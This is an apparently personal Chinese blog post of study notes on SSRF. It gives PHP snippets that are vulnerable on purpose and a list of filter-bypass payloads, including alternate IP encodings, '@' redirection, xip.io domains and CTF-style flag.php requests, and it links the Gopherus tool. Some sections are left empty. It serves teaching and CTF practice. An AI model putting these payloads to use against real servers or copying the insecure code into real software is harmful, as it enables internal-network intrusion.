SSRF

一、漏洞简介

二、造成的危害

1、对内网进行信息探测 - 端口扫描

2、对内网服务器进行漏洞扫描利用

3、对内网的web应用进行安全测试,例如Structs2、SQL注入漏洞利用

4、对内网中的文件读取(fille协议)

5、在PHP环境中,如果搭建expect扩展,可能被命令执行

三、漏洞函数

1、file_get_contents

<?php
$url = $_GET["url"];
echo file_get_contents($url);
?>


2、fsockopen

<?php
$url = $_GET['url'];
$port = $_GET['port'];
$fp = fsockopen($url, $port, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

3、curl

<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//CURLOPT_RETURNTRANSFER为TRUE时, curl_exec()获取的信息以字符串返回,而不是直接输出。
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
// 当CURLOPT_RETURNTRANSFER为TRUE时, 函数执行成功时会返回执行的结果,失败时返回 FALSE 。
curl_exec($ch); // 执行
curl_close($ch);//关闭资源
?>

四、绕过策略

1、添加端口号

HTTP请求的URL中默认是以80端口访问。443
http://127.0.0.1 等价于 http://127.0.0.1:80
以.号分割,结果分割部分[127.0.0.1:80]那么最后一个部分显然不是数字,此时绕过IP地址限制

2、短网址

缩短网址,https://sina.lt

3、指向任意IP的域名xip.io

10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.13
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1

4、数制绕过

127.0.0.1 01111111.00000000.00000000.00000001
转换十进制为 2130706433
八进制 0177.00.00.01
十六进制 0x7f.0x0.0x0.0x1

5、跳转在URL中使用 @可以跳转到指定URL

http://www.baidu.com@127.0.0.1 此时会跳转到127.0.0.1

五、协议使用

<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//CURLOPT_RETURNTRANSFER为TRUE时, curl_exec()获取的信息以字符串返回,而不是直接输出。
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
// 当CURLOPT_RETURNTRANSFER为TRUE时, 函数执行成功时会返回执行的结果,失败时返回 FALSE 。
curl_exec($ch); // 执行
curl_close($ch);//关闭资源
?>

1、file协议

2、dict协议


// 变形绕过
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127.0000000000000.001/flag.php

// 16进制绕过
url=http://0x7F000001/flag.php

// 域名解析绕过

// 过滤限制
url=ctf.@127.0.0.1/flag.php


// 工具
https://github.com/tarunkant/Gopherus

posted @ 2020-12-24 15:10  lnterpreter  阅读(101)  评论(0编辑  收藏  举报